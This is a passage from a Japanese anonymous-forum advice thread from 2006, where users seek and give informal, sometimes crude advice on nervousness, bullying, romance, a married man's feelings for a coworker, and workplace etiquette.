めんどくさがらないで実際に声を出して発声練習もしてみな。
話すべき内容を暗記してしまうぐらい練習すれば、自信を持てる or 開き直れるだろう。

104 :48 ◆f53MryH4Tg :2006/11/08(水) 19:55:34 ID:rYSxk13Q
>>101
ゆすられるでしょうか?

105 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 19:58:47 ID:FYE63OBL
>>104
それこそ誰にもわからない、のでは?
まあ、ゆすられたところで、どうってことないですし。


106 :マジレスさん:2006/11/08(水) 19:59:04 ID:UcYP4sID
>>104
いったい何をやらかしたんさ。

あなたに追っ手をかけるであろう相手が
力のある人間なら
養子縁組などの小細工しても探し出されてしまうだろうし
それほど力のない人間なら
そこまでの細工をしなくても逃げられるだろうし。

107 :マジレスさん:2006/11/08(水) 20:07:28 ID:+9e1Xbs0
俺の兄は結構ルックスがイケてるのに弟の俺はダサいんだ。
このコンプレックスをどう解消したらいいよ?

108 :48 ◆f53MryH4Tg :2006/11/08(水) 20:10:41 ID:rYSxk13Q
私が何をやらかしたか?ウーン、それは説明が非常に複雑過ぎるので
簡単に申し上げれば、ある不良グループと対立してしまったんです。
そこまで組織的な集団ではないのでまあ、姓が変わったら大丈夫でしょう。
顔も整形したらよりいいのかもしれませんが。

109 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 20:21:43 ID:FYE63OBL
>>95
前スレにも「あがってしまう」人の相談がありましたが、そのレスで書くのを忘れていた効果的方法を書きます。
…しかし、その人の場合(大勢の前でプレゼン)には使えても、あなたの場合にはどうだろうか?
現実的でないかも。

緊張したとき、洗面所等で冷水を貯め、顔、できれば頭部全体を沈め10秒以上待つ。
これは、生理的な反応(胎内で潜在化した記憶による反応ですと。正式名称は忘れた)を利用したものらしい。
水に全身浸かると、ほとんどの人は上記の理由で緊張が緩和され、脈拍・心拍数が低下するそうです。
「冷」水(冷たすぎるのは逆効果)であることが、さらにその反応を補足する。
しかし、いちいちプールや風呂に入っていられないので、頭部を浸し自分の五感を錯覚させる、てことらしい。

根本的解決にはならないけど、まあ即効性は期待できます。
それと、「呼吸法」ですな。これは、即効とまではいかないが生理的効果があり、フィードバックが期待でき訓練しだいで根本的解決の大きな補助になります。
極めればこれだけで治る場合もある。

根本的解決は「性格の発展的変容」しかないので、そうとう困難ですな。


110 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 20:25:19 ID:FYE63OBL
>>109
(胎内で潜在化した記憶による反応→(潜在化した、胎内における記憶による反応

111 :48 ◆f53MryH4Tg :2006/11/08(水) 20:32:07 ID:rYSxk13Q
もうちょい待機。

112 :マジレスさん:2006/11/08(水) 20:35:00 ID:79b4uxu7
ぼくのはなしをきいてくれ
わらいとばしてもいいから

113 :マジレスさん:2006/11/08(水) 20:35:09 ID:0B9XMBHp
>>111
遠くに引っ越した方がいいんじゃない。

114 :マジレスさん:2006/11/08(水) 20:35:46 ID:79b4uxu7
きょう、しごとやめさせられたんだ


115 :マジレスさん:2006/11/08(水) 20:36:38 ID:79b4uxu7
せいかつできるかなあ ひとりぐらしだぜ ちょきんなしだぜ

116 :マジレスさん:2006/11/08(水) 20:37:02 ID:jgHKuxbg
はじめまして。
ちょっと前にいじめられまして、
人が信じられなくなり、不登校ぎりぎりです。
どうしたらいいでしょう?


117 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 20:52:47 ID:FYE63OBL
>>107
それは「コンプレクス」ではなく「劣等感」ですな。
(コンプレクスと劣等感を同じに使う人が多い、ていうかほとんどだけど、これらは関連する別の概念)
…まあ、どうでもいい話スマソ

結論から言うと、「劣等感」はその原因そのものをなくしてしまわない限り、なくなりません。
あなたが成形するとか、お兄さんがこの世から消えるなど、です。
(もしくは、催眠状態、脳の異常などによる認識の変化ですが、これは…)
では、成形や、お兄さんがこの世から消えてなくなるのを避けたい場合は

受け入れる(あきらめる)ほか、ないのですな。
しかし、これはかなり苦痛で喪失感があるので、それを補償(なぐさめる)するために
社会的に認められる、お兄さんより圧倒的に高い能力を、なにか身に付ける、つまり

「兄貴に絶対負けない、世間が認める得意なモノを身に付けろ!」

という、ありがちな答えになります。
それを身に付けると「劣等感」を「優越感」が補償してくれます。
(この二つを冷静に自分で認識できるときはOK。ごっちゃになり自分でもワケワカラン感情や反応をするようになってしまったら、ここで初めて「コンプレクス」というより深刻なモノができた、ということになります) 


118 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 20:55:01 ID:FYE63OBL
>>117
「整形」変換ミスですな。

119 :マジレスさん:2006/11/08(水) 21:04:38 ID:5v/RijCy
>>116
別に人など信じなくても良い。
信じられなくなっても良い。

とりあえず人にとって大事なものは『 自分 』だ。99%以上は自分が大事。
まあ、学校自体そんなに大事なものではない。
しかし、自分のためになることはしたほうが良い。

今の大人になってしっかり生活している人だって「いじめられっこ」だった人は多い。
学校に行って勉強だけするわけにはいかないのかな?

120 :マジレスさん:2006/11/08(水) 21:16:53 ID:Ll+/bjws
>>116
人間関係うんぬんは、まあともかく。
学校の方は卒業すると良い。

社会に出ると「学歴」「コミュニケーション力」「経験・資格」
なんかで“人間の値段”を付ける。
高校を卒業したかどうかでケチが付く事も有る。

実際俺も対人関係は苦手なのと大卒じゃないから、
結構足元を見られてる。高校卒業したんでそれほどでもないが。

121 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 21:18:23 ID:FYE63OBL
>>116
>>119氏の

>>別に人など信じなくても良い。
信じられなくなっても良い。
とりあえず人にとって大事なものは『 自分 』だ。99%以上は自分が大事

これは本当にその通り。しかし「人を信じること」は大切。でも「人を信じられなくてもいい」でOK。
おかしい?おかしくない。なぜなら本当に『自分』を大事に、「自分のためになること」が出来るようになってくると、人を信じられるようになってくるから。
不思議だけどね。
多分「人になにかされることなどほとんどなく、されたところでどうってことない。」
自信がついてくるからなんだろうなあ。ものには段階があるからね。
だから「人を信じる」は、とりあえず置いとけ。

122 :マジレスさん:2006/11/08(水) 21:20:31 ID:DT+fHeBh
私は自分で強い人間だと思ってました。何かあっても寝て起きたらケロっとしてたんです。

恋愛以外は。

恥ずかしながら20代で初めて彼氏ができました。始めは順調でしたが最近すれ違い始め
今は連絡さえ取れなくなって自分でも驚くほど取り乱してました。どうしたらいいのか・・・

123 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 21:36:22 ID:FYE63OBL
>>122
「弱い自分」に気がついてよかった。おめでとう。「強い自分」のまま人生送ったらロクな女になってない。


というのが本音ですが…今取り乱している人にそれを言ってもしょうがないんだよなあ…
まあ、わかりませんが、彼とのコミュニケーションを取り戻す努力をして下さい。
成功しても(当然だが)、失敗してより取り乱すことになっても、あなたにとっての前進があると思います。
取り乱せる力が残っているうちは、前進できる。

124 :マジレスさん:2006/11/08(水) 21:42:11 ID:28M2Oj0B
>>122
ブルマを掃いて
体操着を着る。








彼氏はイチコロさ

125 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 21:44:41 ID:FYE63OBL
>>122
まあ、まずは「落ち着け」と言いたいんだが
「落ち着け」と言って落ち着く場合は、言った人の声のトーンやその表情、態度や動作、あるいは「落ち着け」といいながら、その人が落ち着かせる人にやった行動で
落ち着くんだよなあ…「落ち着け」という言葉で落ち着く人は、しばらく放置したら自分で落ち着く。

だから、ネットで「落ち着け」といってもなあ…

126 :マジレスさん:2006/11/08(水) 21:52:10 ID:qZrAFpeo
>>108
なんだ。それくらいなら
遠くに引っ越せばなんとかなるんじゃないの?


127 :マジレスさん:2006/11/08(水) 21:55:55 ID:28M2Oj0B
>>122>>124だが
注意しておくが、自分が人並みに可愛いんだったの話。










ブサイクは凶器にかわる

128 :マジレスさん:2006/11/08(水) 21:59:19 ID:r/MZKtmv
>>108
姓が変わったら大丈夫と思い、ホームレスの人と養子縁組
あなた発送が面白いねw

129 :マジレスさん:2006/11/08(水) 22:01:38 ID:OuDnKrVq
>>122
相手は携帯電話ですか、え〜と家の電話が光なら連絡取れないですよ

130 :マジレスさん:2006/11/08(水) 22:02:10 ID:mGu/wzkG
>>122
まずは恋愛をもっと楽しんでみてはどうですか?
不安や恐れも、すべて自分が決めて
演じてるだけなんですよ

あなたが変われば、回りも変わりますよ


131 :マジレスさん:2006/11/08(水) 22:03:12 ID:O/jZhQta
>>122
俺が悪かった
誕生日にメールするから許して

132 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 22:07:36 ID:FYE63OBL
>>131
かなり天才

133 :マジレスさん:2006/11/08(水) 22:10:50 ID:mGu/wzkG
>>131


134 :マジレスさん:2006/11/08(水) 22:15:37 ID:OuDnKrVq
笑って許せる人って良い人だな〜僕もそんな彼女欲しい

135 :マジレスさん:2006/11/08(水) 22:16:29 ID:puw83JCH
約一年片思いだった人に彼女が出来ました………
絶対付き合いたかったからすごくショックで……
自分なりに頑張ってアピールしていたのに……
自分が知らない間に向こうはうまくいってて…
私なんか全く眼中になかったのかと思うと…約1年間何してたのかなぁって…
今思うと一人で喜んで一人で先走ってただけだったと思います。


二人が一緒にいるところを見ると……言葉には表せないくらいの思いがこみあげてきて本当に辛いです。
忘れたい
どうすれば早く忘れる事ができるでしょうか…?

136 :マジレスさん:2006/11/08(水) 22:18:46 ID:7frjsvpf
♂45才 既婚 子あり。相手 45才 独身 1人住まい
相談です、同じ職場の女性と、1年前、彼女の仕事の悩みを聞く名目で
2人で食事を数回、また、休みの日に映画にもいったことがあります。
また、洋菓子など、彼女を癒すために、プレゼントを何度かしたことが
あります、そのときは、決まって、「うれしいです!」とか「シアワセ
な気分です。」とお礼がきます。また、僕と「出会うことができてよかった」
そんな彼女を好きになり、車の中から、ケイタイで自宅に電話を月に2回
ぐらいしています。時間は1〜2時間。内容は世間話から、僕の冗談、彼女の
仕事の悩み、グチをきいてあげてます。そうすることにぼくは満足してますが
こういうのは、浮気 不倫でしょうか? 既婚の男性からの電話を拒まない
彼女は僕に気があるのでしょうか。
前に電話してもいいの?と聞いたら、「いつでもメール、電話してください
」とありました。
メールはしませんが、電話かけてスルーされたことは、滅多にないです。
彼女が寝ていて、電話に出ない場合、次の日に「ごめんなさい」とメールが
着ます。肉体関係はありません。
単に、彼女は、暇つぶし、ストレスばらしの対象にぼくをしているので
しょうか?前に、電話迷惑じゃないかいかい?と聞いたら、「いいえ(迷惑
ではない)」と聞きました。
いつも最後に電話で「おやすみなさい〜」と
言ってくれます。アドバイスお願いいたします。
僕は、家庭もうまくいっています。
彼女のことが、好きですが、家庭を壊したくありません。
彼女は、ぼくにどんな気持ちなのでしょか?
よろしくお願いいたします。
このままの状態がよいのでしょうか。正直辛いです。

137 :マジレスさん:2006/11/08(水) 22:18:50 ID:zDYiLtd9
>>108
貴方は未成年ですか?
未成年の場合は家庭裁判所へ行き養子縁組をすべきか判断を受けることになります。
届出には印鑑が必要なのでホームレスさんも印鑑が必要です。
また、貴方とホームレスさんの戸籍謄本が必要です。
さらに証人となる成人2名の署名が必要になります。
もしホームレスさんが既婚者の場合、ホームレスさんの奥さんの同意も必要です。
離縁もほぼ同様です。

出来そうですか?
そのまま引っ越すなりどこかへ身を寄せるなりした方が賢明だと思いますが。

138 :マジレスさん:2006/11/08(水) 22:24:14 ID:RmocU0Z5
自分は高2の男なんですけど。
今度から体育の授業が選択で好きなものやっていいという風になりまして。
自分はバスケが好きなのでバスケをやろうと思ってるんですが。
バスケにはクラスでは目立ってるグループの人たちがたくさんいまして。
俺は普通のグループなんですけども。
目立ってるグループの人たちとはイジられたり普通に話したりで割と交流があったりして。
でも、中には苦手な人も何人かいるのでバスケじゃないものを選択しようか迷ってます。
それでもやっぱり好きなスポーツをやらなきゃ面白くないよなぁ…と思ったりして。
最終的には自分で決めることですが、よろしければアドバイスをお願いします。


139 :マジレスさん:2006/11/08(水) 22:24:17 ID:AoSoMvbF
>>136マジレスすると暇つぶし。利用価値あり。既婚だから手だしてこないから舐められてる。
結論、You やっちゃいなよ〜

140 :マジレスさん:2006/11/08(水) 22:24:19 ID:5v/RijCy
>>108
なにも戸籍まで変える必要があるのでしょうか?
小説やドラマや漫画の見すぎではありませんか?

自分の呼び名を変えるのは簡単ですよ。
ペンネームにしてしまえば良いのです。
新しい住所にその名前を掲げ、自分あてにはがきを送る。
2年続ければ市街地図にもその名前が載る。

しかし、そもそも不良グループは戸籍まで調べるんでしょうかねW
ナニワ金融道でしょうか?
それなら不良ではなく犯罪集団やヤクザですよね。
こんな簡単なことも判断できないあなたは、戸籍売買でも失敗しそう。

141 :122:2006/11/08(水) 22:29:16 ID:DT+fHeBh
レスを読んで少し落ち着きました。まだ連絡とれませんが…
もしかして事故?とか考えたらキリがなくなってしまうので
今日のところは寝ることにしました。最悪、家に押しかけそうな自分を押さえ今は寝ます。

142 :マジレスさん:2006/11/08(水) 22:34:32 ID:5v/RijCy
>>136
あなた浮気の経験はありますか?
たぶんその女とは「 やれます 」。
状況はリスキーで刺激的でしょうが、ベッドの内容は良いか悪いか分かりません。

ふつうに浮気相手になってしまい、ずぶずぶになる可能性がありますよね。
本当に美味しいのは一度だけsexして後は何も無かったことにすることなんですがね。
あなたに出来るでしょうか?

143 :マジレスさん:2006/11/08(水) 22:35:09 ID:mGu/wzkG
>>136
浮気か不倫かは、あなたが決める事で
他人が決める事ではありませんよ。
彼女のあなたに対する気持ちも
彼女が決める事で、答えは彼女しか知りませんので
単純に自分の事をどう思っているか聞けば良いだけの話です。
もし彼女があなたに対して好意があるのなら
彼女は、あなたの家庭の事を心配してると思いますよ。
結局はすべてあなたが決める事です、あなたの心に聞いて下さい。


144 :マジレスさん:2006/11/08(水) 22:36:18 ID:bQ8VwQf2
>>22です

>>26
遅くなりましたがありがとうございます。
デート(?)代などは、おごってもらわないように気をつけていますが、
それがさらに「割り勘=いい子」みたいになってしまう人もいるようです。
とはいえ、もっとこじれないうちに2人きりの状態から
抜け出せるようにがんばります!

>>27
血の臭いはさせていませんが、ファブリーズでもぶっかけてから出かけてみます。

>>49
>押しに弱くて
確かに思われてるかもしれません。
これならなんとか食えそうだみたいな…。
あしらえるように成長したいです。

145 :136:2006/11/08(水) 22:41:51 ID:7frjsvpf
142さんへ
32歳のころ浮気経験あります。
彼女は、体が弱くSEXに耐えられません。
したがって、僕は肉体関係を持ちたいと思いません。

146 :69:2006/11/08(水) 22:45:44 ID:+9e1Xbs0
>>69なんだが、まだ嫌な気持ちを引きずっててな。
補習何個もついててスゲー嫌なんだよ。
どうしたらいい?


147 :マジレスさん:2006/11/08(水) 22:47:43 ID:qZrAFpeo
>>145
男性の浮気の線引きは「やったかやってないか(セックスをしたかどうか)」ですが
女性の浮気の線引きは「気持ちが入っているかいないか」です。
具体的には
風俗で他の女性と肉体関係は持っても、相手が商売女で旦那との間に「愛情、気持ち」がなければ
浮気とみないが
たとえ、肉体関係(セックス、キス、手をつなぐ)などがなくても
自分以外の女性の進退や生活に関わってその女性に対して愛情をもっていれば
浮気とみなす
みたいな。
奥さんにその女性のことを堂々と相談をできるなら浮気じゃないと思いますが
隠れて車で電話しているという行動を見るとたいていの女性は「浮気」とジャッジすると思いますよ。

148 :マジレスさん:2006/11/08(水) 22:51:41 ID:OuDnKrVq
>>138
DQNです
好きな事をやらないと面白くないということですね
確かにそうです、あなたは高校生です面白く高校生活を送りたいならそうすれば良いじゃないですか、目立てますよw
しかし、普通は普通です、グループの人たちと相談するのも良いと思います
好きな事ばかりしてるとDQNの仲間入りですよw
僕は27です、時給800円です、こんな男のアドバイスですが

149 :マジレスさん:2006/11/08(水) 22:51:48 ID:Zz5YCfw5
>>135
ちゃんと告白はしなかったのでしょうか?
アピールしてて相手から言ってくるのを待ってたの?
彼の恋人があなたの友人でなければ、告白して
砕けたらどうでしょう。気持ちの区切りとして・・。

>>136
なぜ同じ相談を3度もするの?それも短期間に。
以前、回答してくださった方のアドバイスは参考に
ならなかったのでしょうか?

150 :sage:2006/11/08(水) 22:53:28 ID:51h6Lycz
挨拶って何が何でも下の人間からしなきゃいけないの?
顔を合わす人には挨拶するけど 同じフロアで顔合わさなくて仕事でも
係わりない人にはどう挨拶したらいいのかな、

151 :マジレスさん:2006/11/08(水) 22:55:14 ID:51h6Lycz
間違えた!!

152 :浩二 ◆9nSiqWjPc6 :2006/11/08(水) 22:55:18 ID:juVPsDSB
>>150
軽くお辞儀でいいんじゃねーの?

153 :マジレスさん:2006/11/08(水) 22:56:37 ID:qZrAFpeo
>>150
顔をあわさないのでは挨拶のしようがないと思う。

154 :マジレスさん:2006/11/08(水) 22:59:16 ID:mGu/wzkG
>>136
マジレスさせんなよw

155 :マジレスさん:2006/11/08(水) 23:01:09 ID:MasFbe83
叱ってもらいに来ました、懺悔させてください
好きなメル友がいたんですが
僕は年齢をサバを読んだりしてました、そのことを告白した結果
もうメールしないと言われました、そうなることは覚悟してだったのですが
今は何も手につかない状態になってしまいました
僕は駄目な人間です

156 :マジレスさん:2006/11/08(水) 23:04:10 ID:mGu/wzkG
なんでサバ読もうと思ったの?
自分が駄目な人間と思えば、駄目になるし
思わなければ、そうわならないよ。

157 :135:2006/11/08(水) 23:06:40 ID:puw83JCH
告白はしていません…
やっぱりいい感じになってからするならしたかったので………………

それなりに話したりしたのに何にも思われてなかったんだなぁと思うと本当につらい(>_<)

158 :マジレスさん:2006/11/08(水) 23:06:42 ID:MasFbe83
>>156
20代の頃は自分の年齢は気にならなかったのですが
30代になってから、自分の年齢がとても気になるようになりました
ある意味コンプレックスになっています、それで20代と偽ってしまいました

159 :マジレスさん:2006/11/08(水) 23:09:19 ID:IUfJDLrk
>>158
心配スンナ。相手もキャラクター作ってんだよ、お互い様だ。

160 :マジレスさん:2006/11/08(水) 23:10:52 ID:5v/RijCy
>>158
あなたは全くの考え違いをしています。
年をとるということは人として当たり前のことなのですがね。

自分の中身と年齢の違いがコンプレックスになっているのでは。
と言ってしまいそうな低レベルの思考ですよ。

年を取っているのにかっこいいって良いことなんじゃないですか。

161 :マジレスさん:2006/11/08(水) 23:14:47 ID:MasFbe83
>>160
言われる通りだと思いました
自分の中身が30代に相応しくない子供っぽさだと
自分で気付いていたからなのかもしれません

162 :マジレスさん:2006/11/08(水) 23:15:52 ID:mGu/wzkG
>>158
そうでしたか。
気持ちは、分かりますが
結局は、すべて自分に返ってくるんですよ?
相手を傷つけてしまったと、思っているなら
正直にその事を伝えてみてはどうですか?

>>159>>160のようにモノは考えようですよ
自分の気持ち次第でどうにでもなるんですよ。


163 :マジレスさん:2006/11/08(水) 23:19:52 ID:7E8ZySrV
相談させて下さい。
私は極度の上がり症で緊張すると手が震えます…。
明日、面接があるのですがとても不安です。

164 :マジレスさん:2006/11/08(水) 23:22:42 ID:+9e1Xbs0
嫌な気持ちをずるずると引きずってしまう時に
どうやったらすっきりするんだ?
ちょっと明日が来るのが憂鬱なんだよ。

165 :マジレスさん:2006/11/08(水) 23:22:45 ID:MasFbe83
>>162
相手を傷つけてしまったことを、本当に申し訳なく思っています
そのことをメールで伝えましたが、もう返事は返ってこなくなりました
もう許してもらえることはないだろうと思います
しかし、僕は気持ちを切り替えることができません、、

166 :マジレスさん:2006/11/08(水) 23:24:02 ID:mTXb51om
>>163
つい手が気になって見てしまいますが、そこをぐっとがまんして
面接官に意識を集中しましょう。
自分を売り込むことだけを考えて、
普段よりもゆっくりと言葉を話しましょう。
自分ではのろいかな? と思うくらいでちょうどいいのです。

西の方向を向いて深呼吸をすると良いと言う人もいますよ。
あと、おなかが弱くなければ牛乳を飲むのもよいでしょう。

167 :マジレスさん:2006/11/08(水) 23:30:25 ID:IUfJDLrk
>>164
酒飲んで忘れろだな。
古典的な方法でも一番効果がある。

>>165
メール交換するだけの間柄なんだろ?
年齢サバ読んでたくらいで「傷ついた」とかありえんよ。
バカ女と関係切れて良かったじゃないか。

168 :マジレスさん:2006/11/08(水) 23:32:40 ID:r7CTZUtI
いい事を聞いた
牛乳をホットにして飲んで寝ようっと

169 :マジレスさん:2006/11/08(水) 23:33:40 ID:Zz5YCfw5
>>157
話したりしてても結果、想いは届かなかったのだから、
ゆっくり辛い気持ちを消化していきましょう。
日にち薬しか無いと思うからね。
しばらくは女友達と色々と発散できる遊びをしたらどうかな?

170 :マジレスさん:2006/11/08(水) 23:33:56 ID:mGu/wzkG
>>165
伝えたのなら、それで良いじゃないですか。
あとは、あなたがどうするかですよ?
言い残した事があれば又メールすれば良いじゃないですか?
気持ちを切り替えることができないと思う間はできませんし
出来ると思えばいつでもできますよ。

171 :マジレスさん:2006/11/08(水) 23:34:35 ID:7E8ZySrV
>>166ありがとう!頑張ります!

172 :マジレスさん:2006/11/08(水) 23:37:02 ID:+9e1Xbs0
もうちょっとしたら寝るんだがそれまで何して過ごせばいい?

173 :マジレスさん:2006/11/08(水) 23:38:58 ID:mGu/wzkG
>>172
面白い事考えてみれば?

174 :マジレスさん:2006/11/08(水) 23:39:50 ID:r7CTZUtI
ぐだぐだ言ってないでさっさと寝ろ

175 :マジレスさん:2006/11/08(水) 23:40:41 ID:Zz5YCfw5
>>172
瞑想。何も考えず呼吸だけ感じて下さい。
あなたのレスを見てですが、教習所で集中できてないのでは?
あと、ネガティブな事に意識が行き過ぎてる気がするので、
なーんにも考えない時間を作ってリラックスして下さい。

176 :マジレスさん:2006/11/08(水) 23:41:40 ID:Hbq8YC1b
2ちゃんに中傷カキコしてしまった。
IDから携帯番号かバレると聞いてすごく後悔してる。
そうゆうのわかる専門の人に調べられたら終わりだ…。

177 :マジレスさん:2006/11/08(水) 23:42:36 ID:+9e1Xbs0
コーヒーが好きなんだがついつい飲みすぎて
下痢になっちゃう時がある。
どうしたらセーブできる?

178 :マジレスさん:2006/11/08(水) 23:43:45 ID:mGu/wzkG
>>175
そっちの方が良いですねw

179 :マジレスさん:2006/11/08(水) 23:48:30 ID:8YGpLkL9
瞑想かー。モーツァルトもいいよ

180 :マジレスさん:2006/11/08(水) 23:50:13 ID:5v/RijCy
>>145
もう落ちますが、昔 吉行の小説で「黄昏にて」というのがあって
その内容は 中年男性が若い処女の女と性行為をするというものでした。

その性行為は 女が処女を守るために「素股(すまた)」で行為を行うと言うもの。
2ちゃんですからズバで書くと 「下着を脱いで両足をあわせ世紀と足の間にあれを入れて前後運動をする」というもの

これは性行為でしょうか、浮気でしょうか。
性行為ですよね。浮気でしょう。(「黄昏にて」本質はもう少しちがうんだけれど)

あなたは浮気をしていますよ。

181 :マジレスさん:2006/11/08(水) 23:52:20 ID:0UvWCdtm
相手の質問をきちんと理解できず悩んでます。
相手から質問されても見当違いなことばかり発言して会議ではいつも恥をかいてます。
で、いつも後で気付いて後悔。。。
普通の人より聞き取り能力、理解力が欠けてます。
努力で治せるものでしょうか?
気をつけててもだめなんです…

182 :マジレスさん:2006/11/08(水) 23:56:40 ID:+9e1Xbs0
>>175
サンクス。
つーか、みんなサンクス。
リセットして、明日からまた頑張るわ。

183 :マジレスさん:2006/11/08(水) 23:56:57 ID:Zz5YCfw5
>>177
飲もうと思う気持ちを1回我慢する。
それを日に何度か繰り返す。

184 :マジレスさん:2006/11/08(水) 23:57:30 ID:sia3Lb04
養子に出した子供が過去にいる場合、婚約者にはいつ、どのように伝えればいいですか?連レスすみません

185 :マジレスさん:2006/11/08(水) 23:58:11 ID:ZLjp6jSr
>>181
あまり発言しないっていうのはどうかな?
私も見当違いなこと喋ったり、何の気なしに言ったことが相手にしたら
「エッ!?」ってことだったみたいでぎょっとされたり。

自分では悪気もなければごくごく自然なことを言ったつもりなんだけど
他人からみたら異常っていうか「ずれてる人」扱いで、悩んでました。
とりあえず無駄なことはあまり喋らないことにした。
「無口でおとなしい人>>>>>ずれてる人」だったんで…自分の中で。

186 :マジレスさん:2006/11/09(木) 00:01:35 ID:NQAizEef
長く付き合っている彼氏に転職を機に別れたいような話しが出ました
元々遠距離で永い春だったし やなりマンネリで冷めていった感はあります
私の友達から 結婚に踏み切れないならと 色々な男も紹介されて会いましたが
今の彼氏と比べてか たまたま良い人に巡り逢えなかったか 悶々とした矢先
相手から開き直るようなことを言われて 戸惑い落ち込みました
どうすればいいのでしょうか

187 :マジレスさん:2006/11/09(木) 00:03:41 ID:1t1mXkSG
女だけど、最近高校卒業してから毎年同窓会があったことを知りました。
腹が立つのは、某SNSの、私も読むであろう日記に
平気で同窓会の話を書いたりする幹事。
消えてほしい。
それに、呼ばれなかった自分が惨めで情けない。

188 :マジレスさん:2006/11/09(木) 00:04:48 ID:XHZMmnPV
向うから切り出されてしまったなら、
もう未来はないんじゃないかな。
人事だから言えるんだけどね

189 :マジレスさん:2006/11/09(木) 00:11:04 ID:oFVgFP45
すみません>>122です
眠れません。彼が死んでるんじゃないかと思い始めたら胸が裂けそうで。
携帯の電源は入っています。入院とかだったら携帯の電源切りますよね?
死んじゃってたらどーしよう・・・確かめる方法がわからない。
いつ電話しても出ないなんておかしい。どうしよう、

190 :マジレスさん:2006/11/09(木) 00:11:29 ID:vh8AjUH6
>>187
呼ばれない理由がなんとなく分かるレスですね。

191 :187:2006/11/09(木) 00:16:02 ID:LTaMg06H
どういうところですか?

192 :マジレスさん:2006/11/09(木) 00:17:44 ID:V+I0e9fR
>>191
「眠りの森の美女」の13人目の魔女みたいな性格なとこじゃない?

193 :マジレスさん:2006/11/09(木) 00:18:40 ID:jiLpubBB
>>191
同窓会ぐらいのことで、いちいち目くじら立てる神経質そうなところ
匿名掲示板とはいえ、消えてほしいとか平気で書いてしまう粗野なところ

いいじゃない。寛大な精神で許してあげよう
無駄に金使うこともなくて、よかったなって




194 :マジレスさん:2006/11/09(木) 00:26:04 ID:7cavC9Cd
>>184
婚約前のが良かったのでは?
とりあえず、婚約したのですから明日にでも話して下さい。
早いに越したことはありません。
どのように・・正直に事実を話して下さい。

195 :マジレスさん:2006/11/09(木) 00:29:33 ID:4RVHOBP8
>>189
122さんへ。
私も同じような経験あります。
死んでるんじゃないかと思い、
住所調べて家まで行ったことがあります。
でもただ忙しくて連絡が取れないだけでした。
彼は自分の趣味に没頭すると連絡が取れなくなる人だったんです。
彼のことは大丈夫ですよ。
それよりも心配なのは貴方の感情です。
当時の私もそうですが思い込んで自分でもコントロールできないくらいになっていませんか?
彼が本当に好きなら、信頼できるはずです。
貴方は彼と離れる自分が嫌でたまらないだけです。
それは好きではなく依存でしかありません。
よく考えて下さい。
彼が好きなのではなく、
彼に嫌われたくないのではないですか?
寂しい自分が嫌で彼がいないと自分が埋まらないのではないですか?
本当の愛は相手を思いやることです。
自分勝手に振り回すものではないんです。

…キツいことを書いてすみません。

196 :マジレスさん:2006/11/09(木) 00:30:35 ID:7cavC9Cd
>>186
>相手から開き直るようなことを言われ
とは何でしょう?

結婚目当てに色々な男性と会ったのでしょう?
彼とは別れて「保険」を無くしたら、また違った視点で
今後会う男性を見られるのでは?

197 :187:2006/11/09(木) 00:32:19 ID:LTaMg06H
自分の存在が忘れられたことが悲しかったんです。
消えてほしいってのは言い過ぎました。でも傷ついたんです。
呼ばれなかった理由はわかります。あの頃の自分は暗くて雑談のひとつもできない空気の読めない奴だったから。
でも頑張って少しは明るく変われたんです。
今からでも仲良くなってクラスメイトの一員になりたいなあ…

198 :マジレスさん:2006/11/09(木) 00:43:45 ID:jyEbzbCa
>>197
あくまで1つの案ということで、そんなことできないというのなら他の人の意見で
同窓会の幹事の人に正直に相談してみるというのはどうでしょうか?
同窓会が開かれていることをたまたま知って、次回から自分も参加したいということ
自分は以前と違って明るくなって、みんなと一緒に盛り上がれると思うということ
きっと幹事の人が他のメンバーにも聞いてくれると思います
それでも誘われなかったら、あきらめるということで

199 :マジレスさん:2006/11/09(木) 00:53:37 ID:hvvYMbdU
>>176
後悔するポイント間違えてる。滝に打たれて出直して来い

200 :150:2006/11/09(木) 00:55:09 ID:x6W/3Lwf
150です。続きなんですけど
そういう朝、顔を合わさなかった人に
お昼休みとかに顔を合わせた場合はどうしてますか?
いまさらおはようもあれだしって思います。
なにか話題があって話しかけるなら言いやすいんですけどね…
気にしすぎでしょうか

201 :マジレスさん:2006/11/09(木) 01:00:06 ID:hMDeePZ5
アドバイスください。
3ヶ月前に紹介してもらった女の子と数日間メールしてたんですが、こっちの質問に答えるだけのメールだったので、2ヶ月を送っていませんでした。そして、今になって急にメール送るのって、いかなるものですかね?
20歳 男

202 :マジレスさん:2006/11/09(木) 01:00:23 ID:4RVHOBP8
>>200
そこまで気にするのでしたら、
朝、社交辞令でもいいからとにかく挨拶してはいかがですか?
社交辞令であれ相手がどうであれ、
おはようございますと声を出すのは気持ちが良いものだと思いますよ。

203 :マジレスさん:2006/11/09(木) 01:03:56 ID:pzo0FhyY
鬱病にかかり、ずっと引きこもりでした。
そんな中、唯一といって良い人との交流がネットでした。
年齢的に馬鹿にされる(当時25歳)ので、年齢を隠したまま好きなゲームや
漫画の2次創作のホームページを始めました。
5年たち30歳になりました。今は引きこもりを何とか克服(それでも病院通いは続いてますが)
し、働きに行ってます。
今でもホームページはやってますが、正直ジャンル的に
古いとか、人気ないとかあり、カウンタもそんなに回らないし感想なく正直寂しく思ってます。
半分以上趣味でやってるんですが30歳、子持ちのオバサンがゲームやってたりホームページを
作っていたりするというのは引きますか?
あんまり感想とかもらえない(掲示板とか置いてないのもあるけど)
から寂しいですが、趣味だから堂々と(年齢は明かせないけど)してても良いでしょうか?
ちなみに子供が寝た後やって育児などはきちんと行ってます。

204 :マジレスさん:2006/11/09(木) 01:05:53 ID:drOHJOyi
私には10ヵ月付き合っている彼がいます。しかし、私は医療系の仕事につく為に現在、猛勉強中。彼の相手をする余裕がないんです。こんなのはただのいい訳にしか聞こえないとおもいますが↓ちなみに私19歳、彼は25歳で彼は働いています。

205 :マジレスさん:2006/11/09(木) 01:08:23 ID:drOHJOyi
